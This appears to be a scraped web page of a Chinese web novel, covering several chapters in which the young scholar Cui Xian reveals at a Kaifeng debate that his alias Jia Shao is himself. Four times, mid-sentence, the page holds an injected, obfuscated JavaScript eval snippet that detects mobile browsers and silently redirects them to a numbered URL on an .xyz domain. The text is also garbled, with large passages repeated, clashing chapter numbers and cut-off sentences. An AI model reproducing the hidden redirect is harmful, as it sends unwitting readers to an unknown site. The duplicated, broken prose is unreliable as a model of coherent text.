几个正在路边歇脚的车夫听到了哈哈大笑出声。 真是好大的口气哟! 结果其中一个读书人回过头跟着笑:“别的我不敢说但有一个作品几位大哥说不定还真听过。” “谁知盘中餐粒粒皆辛苦。几位可听过?” 几位车夫笑声骤停。 而后激动站起来:“听过听过的!是崔先生的《悯农》啊!” 开封岳麓书院。 一个年轻的少年学子激动拿着《汴梁邸报》冲进来大声道:“诸位崔师兄抵达开封了!于明日在开封府学外登台辩经!” “《武王缵太王、王季、文王之绪》这篇八股文我日日钻研学习对崔师兄之大才神往佩服不已!如今 这个消息顿时在岳麓书院内引发轰动。 岳麓书院后山。 东莱先生听着外面传来的动静神情笑眯眯的。 而在东莱先生对面坐着一个头发花白模样清瘦的老先生。 老先生有个很有名的号叫做季甫先生。 上个月季甫先生携弟子游历至开封如今在岳麓书院暂时做夫子。 此刻。 季甫先生看着手中的《汴梁邸报》在看看旁边一沓贾邵的作品集幸灾乐祸道:“这个贾邵属实文采斐然老夫实在喜欢!你家那小徒弟到时候可别被人家收拾咯。” 换做往常听到这话东莱先生肯定是要直接翻脸的。 二人掐了几十年谁都不肯有一丝一毫的让步。 但今日他沉默片刻不仅没生气甚至还挤出个笑容来:“我知道你讨厌小崔岘全因他是我徒弟。” “你喜欢贾邵也只是因为贾邵是小崔岘的对手这都没什么的。” 听到这话季甫先生愣住了。 他狐疑看向东莱:“你想说什么?” 东莱先生笑了笑半点不见平日之张扬:“没什么……既然你喜欢贾邵这孩子那来日笔墨喉舌之 上,能不能,为这孩子说几句话啊? “无需过多照顾,只……说几句便好。 小院里陷入片刻沉默。 季甫先生盯着东莱看了片刻,而后低头看向那份写满崔岘作品的邸报,再看看那份贾邵作品集,心里有了猜测。 他脸色陡然拉了下来,冷声道:“慢走,不送! 东莱先生叹了口气,起身离开。 徒留季甫先生坐在原处,越想越气,越想越气! 气**! 季甫猛然站起来,回到书房,一把拧住正在案前打盹儿的徒弟的耳朵,怒道:“睡睡睡,就知道睡!你是猪啊? 他的徒弟疼的哇哇乱叫,**道:“我要是猪的话,那你也是猪!我是小猪,你是老猪! 季甫先生气的眼前发黑,师徒二人再次爆发‘激烈战斗’。 临近傍晚。 开封府学外,辩经台前,张贴出告示单。 明日辰时,崔岘将于此处登台辨经! 这张告示单一出,让《汴梁邸报》的地位瞬间水涨船高,成为‘权威官方邸报’。 满城人都在哄抢。 甚至到了天黑的时候,还有大批量读书人,在街道上眼巴巴盼着邸报加印。 老崔氏站在自家印刷坊里,整个人红光满面,意气风发:“给我印刷,多多地印刷!去卖邸报的时候,问问顾客,需不需要帮忙邮寄邸报! “咱家还承接邸报邮寄的活儿计!只要肯出银子,全大梁都能送过去! 这一夜,注定是不平静的一夜。 除了状元巷里,崔岘本人睡了一个安稳觉。 陈氏、崔仲渊等崔家人,惦记着明日岘哥儿的辩经,绷紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088477|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神经。 小蒙童们因为明日终于能见到崔夫子,激动的睡不着。 季甫先生还在跟徒弟较劲儿,质问他有没有第二个更优秀的身份。 如果没有的话,打到有为止。 他的徒弟第一百零八次产生了背叛出师门的冲动。 开封府学外,街道两侧,一些酒楼、茶馆、饭庄的老板们,脸都快笑烂了。 街道两侧所有店家,灯火通明。 大量读书人,亦或者贵人家的仆从们 ,提前来占位置。 甚至连远处汴河的船只,都被提前加价预定! 赞美小神童崔岘! 而更多从全大梁各地赶来的文人墨客们,有的在为小神童担忧。 有的则是不怀好意,盼着这位五年不露面的小神童,真的江郎才尽。 开封县衙、府衙的差役们,为应对此次声势浩大的辩经盛事,全体出动,提前严阵以待。 因为,许多读书人,尤其是贾邵、崔岘的‘真爱粉’们,连夜来到了辩经台外! 双方因为两首童谣,‘打’的十分激烈。 他们在辩经台两侧站定,互相指责谩骂,背诵童谣。 其夸张离谱之阵仗,甚至惊动了开封县令、知府。 两位大人站在衙门外,打着哈欠,远远看着那两拨人互喷,只觉得很是头疼,又很是惊叹。 开封,已经多少年没有这么热闹过了啊。 不管此次辩经,谁输谁赢,对于开封来说,都是好事情! 这个漫长的夜,在崔岘、贾邵粉丝的争吵中,终于度过。 第一缕晨光出现的时候。 严思远、齐怀明等人,站在辩经台左侧,满脸疲惫,甚至有些畏惧。 右侧。 裴坚单刀立马,整个人看起来气势昂扬,声音依旧洪亮:“他日曝尸文庙外,乌鸦啄目犬食脑!” “犬食脑啊犬食脑!” 他吵了整整一夜,但半点不显疲态,反而愈战愈勇。 反岘联盟败的非常彻底。 而崔岘的粉丝们,则是敬佩的看向裴坚,看向他孤傲的背影。 对此,裴坚骄傲表示,别问—— 问就是大哥该做的! 七月初八。 睡了一个好觉的崔岘,晨起后悠哉洗漱、吃早食。 而后乘坐马车,离开状元巷,去接老师东莱先生。 瞧见徒弟穿了一身红衣,东莱先生很满意,笑呵呵道:“五年前,小神童崔岘着红衣,于南阳王府,向士林文坛宣战。” “五年后,红衣少年郎贾邵,登上辩经台,履行当年之约。” “甚好,甚好啊!” “也是时候,该让这大梁文坛,瞧瞧我东莱的徒弟咯。” 崔岘闻言笑眯眯把老师搀扶上马车,揶揄道:“听您这么说,那我今日,可不能给老师丢脸。” 东莱先生跟着笑,看向徒弟的眼睛里,尽是骄傲自豪。 他这么优秀的徒弟,何来丢脸一说呢? 188、是崔岘,是贾邵,是最耀眼的他(下) 自天亮开始。 整座开封城,都喧嚣热闹起来! 无数人起床后,想赶早去观看辩经,结果好家伙—— 外面到处都是人! 开封府学外,七尺辩经台拔地而起,高逾丈余,通体以青石砌成。 台面铺木板,四角各立一根朱漆楹柱,柱上雕云纹,顶端悬铜铃。 风过处,铃声清越,如天音垂落。 辰时未至,府学外已挤满观众,乌泱泱如潮水涌动。 普通百姓挤在人群里,踮脚张望;富家子弟则包下临街茶楼雅座,摇扇品茗。 大相国寺内,僧众暂停早课,聚于山门处远眺。 香客们攀上钟楼,借高处俯瞰辩经台。 州桥码头,漕工歇了活计,蹲在船头遥望。 商贩推着酸梅汤沿街叫卖,趁机抬价三成。 府衙、县衙的差役们,全体出动巡逻。 这般热闹阵仗,看的无数人直咂舌。 跟随中年夫子一起,来为崔夫子助威的小豆丁们,被前方人群挡的严严实实,除了人,什么都看不到。 于是一直在焦急询问:“来了吗?先生!崔夫子到底来了没有啊,急**啦! 不仅这帮小豆丁。 在场无数观众们,也都在焦急等待。 怎么还没到呢! 时间缓慢流逝,直到接近辰时的时候。 一辆奢华的马车,自差役们特地留出的道路中,缓缓驶来。 几乎是在马车出现的瞬间。 大相国寺。 老主持呵呵一笑,于蒲团上起身,亲自撞响山门前的铜钟。 铛——铛——铛! 清越钟声自山门传出,而后在半座城内回荡。 开封府学外。 无数声音骤然停歇,全体目光齐刷刷看向那辆马车。 来了! 包括辩经台下,左右两侧的裴坚、严思远等人,也都期待看了过去。 来的究竟是贾邵,还是崔岘呢? 在清越的钟声里,马车于辩经台不远处,缓缓停下。 而后。 马车帘 子被挑开,一位穿着红衣,身材高挑的少年郎,自马车里走出来。 他腰间束一条绫带,玉簪绾发,尚且没有看脸,单看背影,便望之不凡。 而在此人出现的瞬间。 其余人还在瞪大眼睛,想看清楚少年郎的模样。 辩经台下。 裴坚,以及严思远等人,都开始发出震天欢呼。 太好了!是崔岘/贾邵先到了! 裴坚带领着一帮人,大声振奋喊道:“崔岘!崔岘!” 严思远等反岘同盟的小黑粉们,则是高亢嘶吼:“贾邵!贾邵!” 他们喊得声嘶力竭。 以至于周围很多人都在疑惑:究竟是贾邵来了,还是崔岘来了? 而裴坚、严思远两拨人,同样疑惑的看向对方。 并且发自内心觉得对方是傻叉。 不是哥们儿,该不会是被喷到脑子坏掉了吧?连人都不认识了? 临街一处茶馆。 何旭几人也在张望,好奇询问道:“看清楚了吗,究竟是谁先到了?” 孟绅瞧了半晌,这才哈哈笑道:“是贾邵兄,我看清楚了!他这出场方式,可真够震撼人心的啊!大相国寺敲钟,无数观众欢呼相迎。” “真不愧是绝世大才子!” 旁边。 听到是贾邵来了,苏祈悬着的心落地,而后又不自觉提起,不停向外张望。 贾邵已经到了,那……崔岘应该也快了吧? 有没有一种可能,我既能跟贾邵做朋友,也能跟崔岘做朋友呢? 苏祈眉毛深深拧在一起,烦躁的觉得,这种可能—— 大概毫无可能。 马车上。 那红衣少年郎,于无数道惊艳目光注视下,利落翻身下了马车。 而后又伸出手,将一位胖乎乎的老者,小心搀扶了下来。 那红衣少年郎的脸,便这样展露在众人面前。 当真是好生俊俏的一张面孔啊! 目若朗星,唇红齿白,面如冠玉。 因为身材修长高挑,脊梁笔挺,又穿了一身红衣,越发衬的他整个人卓尔不群、如松如竹。 再加上那红衣少年郎脸 带笑意,望之如星辰般璀璨夺目。 尽显青春肆意之姿态。 周围观众们纷纷赞叹‘好俊’。 茶馆雅间,偷偷溜出来看热闹的妇人小姐们,则是悄然羞红了脸。 这个年代,人们对才子,都是十分推崇的。 更别说,眼前这少年郎,还是位绝世大才子。 且生的这般芝兰玉树! 就是不知,他是贾邵,还是崔岘? 怪那辩经台下一帮傻子,一直咋呼,害的大家都不知究竟是谁来了! 在无数人疑惑、嘀咕的注视下。 东莱先生拉着自家小徒弟,一步步登上辩经台。 高处有风,台子周围铜铃作响,他身后的少年郎红色衣袍翻飞,格外瞩目耀眼。 严思远等小黑粉们,快要激动哭了。 《岘儿谣》输给了《邵公叹》,他们又被裴坚按在地上摩擦了一夜,早就满腹委屈。 如今瞧见贾邵先生来了,只觉得找到了‘主心骨’。 “贾邵先生,您终于来了,太好了!我们这些天,委屈啊! 严思远第一个冲过来,在台下大声哭诉:“那崔岘的簇拥者,写了一首《邵公叹》,各种羞辱于你! “用词之狠毒,实在令人发指! “贾邵先生,您今日千万不要留手,狠狠教训那崔岘! 听到这话,众人恍然大悟——原来是贾邵到了! 而后又有人纷纷打听什么是《邵公叹》,等悉知内容后,纷纷皱起眉头。 旁边。 看着这一幕的裴坚等人:??? 不是,我请问呢? 裴坚怒气冲冲走过去,一把将‘失心疯’的严思远推开,看向崔岘说道:“岘弟,这人疯了,你别理他! “他们这群贾邵的簇拥者,没一个正常人。我刚到开封,就跟这群人对上了! “这群垃圾,到处污蔑你,还写了一首《岘儿谣》,实在恶毒! 啊? 听完裴坚这话,本来恍然大悟的人们顿时迷惑了—— 所以其实是崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088478|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岘到了? 《岘儿谣》又是什么? 等打听到这首诗的内容后 ,大家又齐齐皱眉。 被两拨人先后诉委屈、且被迫听到两首童谣的崔岘,挤出一个疲惫的笑容。 我真是谢谢你们啊。 猝不及防被推开的严思远,懵了片刻后,大怒。 他一把扯住裴坚的胳膊,指着贾邵大声道:“你胡说八道什么!贾邵先生都到了,你还敢在这里放肆!” 严思远背后,一群小黑粉们义愤填膺。 裴坚被气笑了,指着崔岘说道:“我胡说八道?这是我兄弟,崔岘!从小一起玩到大的!趁着我没有发火之前,你赶紧滚!” “滚去找你的贾先生去,别在这里丢人现眼了,知道不?” 裴坚背后,庄瑾等人连连点头,笃定严思远等人是疯了。 双方各执一词。 且坚定认为对方是超级无敌大傻叉。 于是,围观的群众们彻底迷惑了。 万万没想到,这场声势浩大的辩经最开始,竟然因为一个人究竟是贾邵,还是崔岘,而‘辩’了起来! 凑热闹的百姓们大为震撼。 你们说的辩经,原来是这样‘辩’的啊? 在一片迷惑中。 东莱先生往前走两步,朗声笑道:“诸位,老夫周雍,号东莱。五年前,小徒崔岘于南阳,与诸位有个辩经之约。” “如今,老夫带他来赴约了。” “但有个小事儿,老夫需要解释一下。数月前,我赶至开封搭建辩经台。念及小徒从未走出过南阳,于是便趁此机会,让他出去历练一番。” “因担心小徒独自外出,恐遇险情。于是,便嘱咐他换个名讳出发,不到开封来见老夫之前,不得对外暴露**。” “只是老夫未想到,小徒换了个名讳,照旧招人喜欢,呵呵。” 说到这里。 东莱先生停顿片刻,看向下方的严思远等人,笑呵呵道:“我听说过你们,自孟津,到洛阳,多亏有你们照拂,才让小徒一路顺遂,抵达开封。” 小黑粉们懵了。 迎着东莱先生笑眯眯的表情,不知为何,严思远觉得有点头皮发麻般的恐惧。 他深吸一口气,抱着十二万分之一的侥幸心态,颤声问道:“换,换了个什么名讳?” 旁边。 裴坚等人的脸色也逐渐变得僵硬。 东莱先生哈哈大笑,说出了让全场都为之震撼,唯有他自己觉得是小事一桩的一番话:“名讳嘛,不值一提,也不重要。” “老夫当时也就随便一想,没有过多讲究,所以取得名字确实差了一些。” “若有下次,老夫一定认真取个好听点的名讳。” 不是? 我们关心的是这个吗? 谁在乎名字好不好听啊! 重点,说重点! “叫贾邵。” 裴坚往后退了好几步。 严思远白眼一翻,晕了。 台下,无数人张大嘴巴,震撼看向台上的红衣少年郎。 什么意思? 贾邵就是崔岘? 崔岘就是贾邵? 一个人? 啊? 188、五年之约,崔岘开封第一辩(上) 开封府学外。 七尺辩经台下。 一片混乱。 裴坚往后退了好几步。 而后看向庄瑾、高奇、李鹤聿露出一个讨好般的尴尬笑容:“兄弟们你说这叫什么事儿啊。” “原来岘弟和贾邵是一个人咱们四个傻子还一起写了那首《邵公叹》的歪诗实在是大水冲了龙王庙。” 但。 听到这话的李鹤聿三人唯恐避之不及纷纷摇头果断跟裴坚做‘割席’。 高奇更是幸灾乐祸道:“别《邵公叹》是你自己写的我们可没参与!” 谁都不能欺负你小弟。 结果就你把小弟欺负的最惨。 好大哥真是好大哥啊! 裴坚闻言深吸一口气很想捶死昨天写童谣的自己。 另一边。 好几个人将晕厥的严思远托住使劲拍打才让他悠悠转醒。 只是醒来后他神情呆滞满脸怀疑人生。 齐怀明、阮修德以及其余反岘同盟的小黑粉们都呆愣愣看着贾邵—— 不看着崔岘。 只觉得天都塌了。 怎会如此! 这些天大家只要一想到贾邵先生会在辩经台上把**神童崔岘按在地上摩擦。 就兴奋的睡不着觉并急切期待这一天的到来。 可结果贾邵和崔岘是同一个人? 我们反岘联盟的领袖 哈哈哈哈。 多荒谬啊! 回想起自孟津第一次见到贾邵惊为天人。 到后来看着他翻手为云覆手雨布局祥瑞。以一人之力安抚朝堂君主帮扶陕西灾情。 再到洛阳文会救下萧震一战成名天下知。 这般无双绝世才子……怎地会是**神童崔岘呢? 小黑粉们看着台上一身红衣昨日之前还叫做贾邵今日之后却变成崔岘的耀眼少年郎崩溃伤心的想—— 这数月以来的相处与结识终究是错付了! 裴坚、严思远身后。 ‘崔岘’、‘贾邵 ’二人的‘粉丝团’成员们,张大嘴巴,满脸茫然。 双方打了这么久,结果是自己人? 而他们两拨人的奇怪反应,也让四周围更多的观众们意识到—— 从始至终,就没有‘贾邵’这个人。 大梁第一神童,洛阳文会谪仙阁一人辩四位绝世才子、救下的萧震将军的人,都是崔岘! 哗! 震惊哗然的声浪,自人群中向外扩散。 来看热闹的普通百姓们,尚且还在茫然。 但许多年轻的读书人们,看起来似乎已经‘疯了’。 他们激动的脸色通红,震撼又夸张的喊着‘贾邵和崔岘是同一个人’。 沿街两侧。 本还在悠闲坐着的富家子弟们,瞪大眼睛站了起来。 包厢里,是夫人小姐们压抑不住的娇呼。 漕船上,一些身穿儒衫的士子们脸色扭曲,愤恨道:“一个人,怎么可能会是一个人呢?!” 大相国寺的僧人,吃惊议论纷纷。 钟楼上的香客们,同样被这个消息,震的无法回神。 沿街叫卖酸梅汤的商贩,察觉到周遭越发激烈的气氛,趁机将价格又抬了一成。 唯有临街那处茶馆里。 苏祈站在窗前,看着远处辩经台上的贾邵,亦或者崔岘,愣神片刻后,哈哈大笑。 合理了! 若贾邵是崔岘,那这一切都合理了! 原来,真的可以同时跟贾邵和崔岘都做朋友啊! 在苏祈的笑声中。 何旭、孟绅、周斐然三位才子,彻底沉默了。 当‘大梁文坛双子星对决’,变成‘双子星是同一个人’的时候,它所带来的震撼效果,绝对是惊人的! 首先,崔岘江郎才尽之说,不攻自破。 甚至此刻,崔岘登台,还一字未说。便已凭借实力,狠狠扇了那些说他‘江郎才尽’之人的脸。 其次。 五年之前,大梁第一神童崔岘,梦幻般自士林文坛璀璨崛起,创作出许多经典诗篇。 五年后。 贾邵其人,甚至比当初的崔岘,更加耀眼夺目。 ‘二月春风似 剪刀’、‘更上一层楼’、‘但愿海波平’、‘唯有牡丹真国色’等名句,如今正在诗坛引发轰动。 八千抗倭将士,因他得以活命。 一个人,怎么能优秀到这种地步? 在经过好一阵哗然震惊后。 无数人齐刷刷转身,默契看向辩经台上的崔岘,陷入了诡异的沉默。 但很显然,此刻越是沉默,接下来引发的震荡,只会越发惊人。 万万想不到。 崔岘登台,履行五年辩经之约的第一天,便带来这样一个如惊雷炸响的消息。 想来今日过后,整个大梁文坛,都要重新认识崔岘了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088479|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >辩经台上。 东莱先生眯起眼睛,看着台下的热闹众生相,嘴角都快咧到耳后根了。 是谁的徒弟这么优秀啊! 原来是我的,哈哈哈哈! 强忍住笑出声的冲动,东莱先生看向崔岘,笑道:“身份一事,既已解释清楚,你便站出来,同大家打个招呼吧。” 在无数目光的注视下。 崔岘朝着老师点了点头。 接着往前走了数步,朝着台下乌泱泱的人群拱手作揖礼,朗声笑道:“五载春秋倏忽过,八方齐聚辩经台—— “后学崔岘,谨奉恩师‘逝者如斯’之训,前来践五年辩经之约,见过诸位!” “昔从恩师教诲,闻《孟子》‘予岂好辩哉?予不得已也’。见其舌战群彦而春风化雨。” “又心慕恩师东莱先生,昔年‘辩折稷下,书绝钟张’之风姿。” “岘斗胆效颦,非为矜伐。唯愿以《周易》‘丽泽兑,君子以朋友讲**’为舟楫,共溯圣道沧溟!” “虽效晏婴‘挥汗成雨,张袂成阴’之辩,然守《礼记》‘君子之交淡如水’之诫。” “今登斯台,非为角胜。义理可诘,锋刃不交;胜败常事,樽俎存情!” “若蒙诸公不弃,请以三事为约:一曰‘以经解经,不涉谶纬’;二曰‘义理相诘,不伤雅谊’;三曰‘日落息辩,秉烛联诗’。” “纵有龃龉,当遵晏子‘和而不同’之训,诸君以为然否?” 这是五年后,少年郎崔岘第一次登台亮相。 于万千人惊艳的注视下,他站在辩经台上,不卑不亢开口。 张扬肆意,却又谦和温润。 纵然仍旧震惊于崔岘和贾邵是同一人,但他这一番开场白说完,立刻便引来无数看客喝彩叫好。 绝世大才子,果真名不虚传啊! 因为心中有愧,崔岘话音落下,裴坚当即站出来,恨不得把手拍烂了,大声道:“好!说得好!” 旁边。 反岘同盟的小黑粉们,下意识也要跟着鼓掌叫好。 结果手抬到一半,突然反应过来,又冷着脸把手放下。 晕厥一次又清醒过来,站在人群中的严思远,脸色苍白的看着台上举手投足都在耀眼发光的崔岘,惊恐又气愤的发觉—— 这个人,怎么该死的,越发有魅力了啊?! 不不不! 天下‘偶像’千千万,实在不行咱就换。 绝对不能被**神童给做局了! 189、五年之约,崔岘开封第一辩(上) 开封府学外。 七尺辩经台下。 一片混乱。 裴坚往后退了好几步。 而后看向庄瑾、高奇、李鹤聿,露出一个讨好般的尴尬笑容:“兄弟们,你说这叫什么事儿啊。 “原来岘弟和贾邵是一个人,咱们四个傻子,还一起写了那首《邵公叹》的歪诗,实在是大水冲了龙王庙。 但。 听到这话的李鹤聿三人,唯恐避之不及,纷纷摇头果断跟裴坚做‘割席’。 高奇更是幸灾乐祸道:“别,《邵公叹》是你自己写的,我们可没参与! 谁都不能欺负你小弟。 结果就你把小弟欺负的最惨。 好大哥,真是好大哥啊! 裴坚闻言深吸一口气,很想捶死昨天写童谣的自己。 另一边。 好几个人将晕厥的严思远托住,使劲拍打,才让他悠悠转醒。 只是醒来后,他神情呆滞,满脸怀疑人生。 齐怀明、阮修德,以及其余反岘同盟的小黑粉们,都呆愣愣看着贾邵—— 不,看着崔岘。 只觉得天都塌了。 怎会如此! 这些天,大家只要一想到,贾邵先生会在辩经台上,把**神童崔岘按在地上摩擦。 就兴奋的睡不着觉,并急切期待这一天的到来。 可结果,贾邵和崔岘,是同一个人? 我们反岘联盟的领袖,是崔岘本人? 哈哈哈哈。 多荒谬啊! 回想起自孟津第一次见到贾邵,惊为天人。 到后来,看着他翻手为云覆手雨,布局祥瑞。以一人之力,安抚朝堂君主,帮扶陕西灾情。 再到洛阳文会救下萧震,一战成名天下知。 这般无双绝世才子……怎地,会是**神童崔岘呢? 小黑粉们看着台上一身红衣,昨日之前还叫做贾邵,今日之后却变成崔岘的耀眼少年郎,崩溃伤心的想—— 这数月以来的相处与结识,终究是错付了! 裴坚、严思远身后。 ‘崔岘’、‘贾邵 ’二人的‘粉丝团’成员们张大嘴巴满脸茫然。 双方打了这么久结果是自己人? 而他们两拨人的奇怪反应也让四周围更多的观众们意识到—— 从始至终就没有‘贾邵’这个人。 大梁第一神童洛阳文会谪仙阁一人辩四位绝世才子、救下萧震将军的人都是崔岘! 哗! 震惊哗然的声浪自人群中向外扩散。 来看热闹的普通百姓们尚且还在茫然。 但许多年轻的读书人们看起来似乎已经‘疯了’。 他们激动的脸色通红震撼又夸张的喊着‘贾邵和崔岘是同一个人’。 沿街两侧。 本还在悠闲坐着的富家子弟们瞪大眼睛站了起来。 包厢里是夫人小姐们压抑不住的娇呼。 漕船上一些身穿儒衫的士子们脸色扭曲愤恨道:“一个人怎么可能会是一个人呢?!” 大相国寺的僧人吃惊议论纷纷。 钟楼上的香客们同样被这个消息震的无法回神。 沿街叫卖酸梅汤的商贩察觉到周遭越发激烈的气氛 唯有临街那处茶馆里。 苏祈站在窗前看着远处辩经台上的贾邵亦或者崔岘愣神片刻后哈哈大笑。 合理了! 若贾邵是崔岘那这一切都合理了! 原来真的可以同时跟贾邵和崔岘都做朋友啊! 在苏祈的笑声中。 何旭、孟绅、周斐然三位才子彻底沉默了。 当‘大梁文坛双子星对决’变成‘双子星是同一个人’的时候它所带来的震撼效果绝对是惊人的! 首先崔岘江郎才尽之说不攻自破。 甚至此刻崔岘登台还一字未说。便已凭借实力狠狠扇了那些说他‘江郎才尽’之人的脸。 其次。 五年之前大梁第一神童崔岘梦幻般自士林文坛璀璨崛起创作出许多经典诗篇。 五年后。 贾邵其人甚至比当初的崔岘更加耀眼夺目。 ‘二月春风似 剪刀’、‘更上一层楼’、‘但愿海波平’、‘唯有牡丹真国色’等名句,如今正在诗坛引发轰动。 八千抗倭将士,因他得以活命。 一个人,怎么能优秀到这种地步? 在经过好一阵哗然震惊后。 无数人齐刷刷转身,默契看向辩经台上的崔岘,陷入了诡异的沉默。 但很显然,此刻越是沉默,接下来引发的震荡,只会越发惊人。 万万想不到。 崔岘登台,履行五年辩经之约的第一天,便带来这样一个如惊雷炸响的消息。 想来今日过后,整个大梁文坛,都要重新认识崔岘了! 辩经台上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088480|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东莱先生眯起眼睛,看着台下的热闹众生相,嘴角都快咧到耳后根了。 是谁的徒弟这么优秀啊! 原来是我的,哈哈哈哈! 强忍住笑出声的冲动,东莱先生看向崔岘,笑道:“身份一事,既已解释清楚,你便站出来,同大家打个招呼吧。” 在无数目光的注视下。 崔岘朝着老师点了点头。 接着往前走了数步,朝着台下乌泱泱的人群拱手作揖礼,朗声笑道:“五载春秋倏忽过,八方齐聚辩经台—— “后学崔岘,谨奉恩师‘逝者如斯’之训,前来践五年辩经之约,见过诸位!” “昔从恩师教诲,闻《孟子》‘予岂好辩哉?予不得已也’。见其舌战群彦而春风化雨。” “又心慕恩师东莱先生,昔年‘辩折稷下,书绝钟张’之风姿。” “岘斗胆效颦,非为矜伐。唯愿以《周易》‘丽泽兑,君子以朋友讲**’为舟楫,共溯圣道沧溟!” “虽效晏婴‘挥汗成雨,张袂成阴’之辩,然守《礼记》‘君子之交淡如水’之诫。” “今登斯台,非为角胜。义理可诘,锋刃不交;胜败常事,樽俎存情!” “若蒙诸公不弃,请以三事为约:一曰‘以经解经,不涉谶纬’;二曰‘义理相诘,不伤雅谊’;三曰‘日落息辩,秉烛联诗’。” “纵有龃龉,当遵晏子‘和而不同’之训,诸君以为然否?” 这是五年后,少年郎崔岘第一次登台亮相。 于万千人惊艳的注视下,他站在辩经台上,不卑不亢开口。 张扬肆意,却又谦和温润。 纵然仍旧震惊于崔岘和贾邵是同一人,但他这一番开场白说完,立刻便引来无数看客喝彩叫好。 绝世大才子,果真名不虚传啊! 因为心中有愧,崔岘话音落下,裴坚当即站出来,恨不得把手拍烂了,大声道:“好!说得好!” 旁边。 反岘同盟的小黑粉们,下意识也要跟着鼓掌叫好。 结果手抬到一半,突然反应过来,又冷着脸把手放下。 晕厥一次又清醒过来,站在人群中的严思远,脸色苍白的看着台上举手投足都在耀眼发光的崔岘,惊恐又气愤的发觉—— 这个人,怎么该死的,越发有魅力了啊?! 不不不! 天下‘偶像’千千万,实在不行咱就换。 绝对不能被**神童给做局了! ? 190、五年之约,崔岘开封第一辩(中) 崔岘的‘开场漂亮话’说完了。 也赢得了满堂喝彩。 但漂亮话只能赚个吆喝,骗一骗单纯的路人。 ‘义理可诘,锋刃不交;胜败常事,樽俎存情’这种事情,是不可能存在于辩经台上的。 亦或者说。 崔岘方才那番话,需要反着来听。 站在辩经台往下看,便能明显发现。 台下喝彩叫好的,都是凑热闹的百姓。 和纯粹来‘追星’,买一碗涨价四成的酸梅汤,甜滋滋傻乐激动的年轻读书人。 真正身穿儒衫的老学究,亦或者准备登台辩论的年轻天骄,都满脸战意看着崔岘,安静等待着。 等他首开辩题。 这也是开台辩经的第一步,你既决定登台舌战群儒,那自然要先抛出你的论点。 也就是你读圣贤书,领悟到的,不同于别人的真知灼见。 论点抛出来,自然会有人决定,是否登台与你辩论。 而辩论都是越打越激烈的。 一台辩论,往往需要从很多不同角度去佐证。 很多时候,随口说出的某一句话,就会引来对手的穷追猛打,甚至被多人团伙攻讦! 想做文坛领袖? 那得凭借真本事服众啊! 是的,至今外界所有人,还误以为崔岘想做文坛领袖。 殊不知,他准备把这整个文坛都给掀翻了。 台上。 崔岘压下眼眸里的野心,笑道:“数月前,我奉家师之命,以贾邵的名义,离开南阳。” “在宝丰县驿站,我遇到了苏祈兄,并同他进行了一场辩论。” “那场辩论的主题,是自‘关关雎鸠不过男女情诗,何德冠居群经?’而衍生出来的。 “是为:《毛诗序》一书,究竟是否存在错漏。” 听到这话,在场很多读书人眼睛里浮现出一抹忍俊不禁。 因为这场辩论,苏祈输了。 还输得‘一动不动’。 而‘贾邵’,也正是从这场辩论开始,迅速走上了堪称传奇的‘扬名之路’。 但,如今崔岘为何要旧事重提呢? 连远处临街茶馆靠在窗边的苏祈都很是好奇。 “那次辩论后我路过孟津见证了一场天降祥瑞。后来赶往洛阳 崔岘笑着将自己这数月来的经历简单概述而后道:“两场辩论后我有所感悟在洛阳闭关将近两月。” “但有些事情仍旧没想明白。” “是以这第一场辩经我想以贾邵、崔岘两个身份进行一场自辩。” “而这场辩论的主题是:诗教当重训诂耶?重心悟耶?” 什、什么? 自己打自己? 听到这话很多观众都露出吃惊佩服的表情。 心想不愧是绝世大才子啊真会玩儿花活儿。 搁这表演左右脑互搏呢! 行行行你马甲多你说了算。 但转念一想最开始大家喜闻乐见的‘双子星对决’还真实现了! 而一些古板老学究们在听到这个辩论主题后下意识蹙起了眉头。 不对劲。 有点怪。 当然此刻他们主要是不喜‘重训诂’这个说法。 且对‘重心悟’嗤之以鼻。 还没有意识到‘重心悟’背后三个字暗藏的真实含义有着何等摧枯拉朽的杀伤力。 唯有台上的东莱先生暗自心惊肉跳。 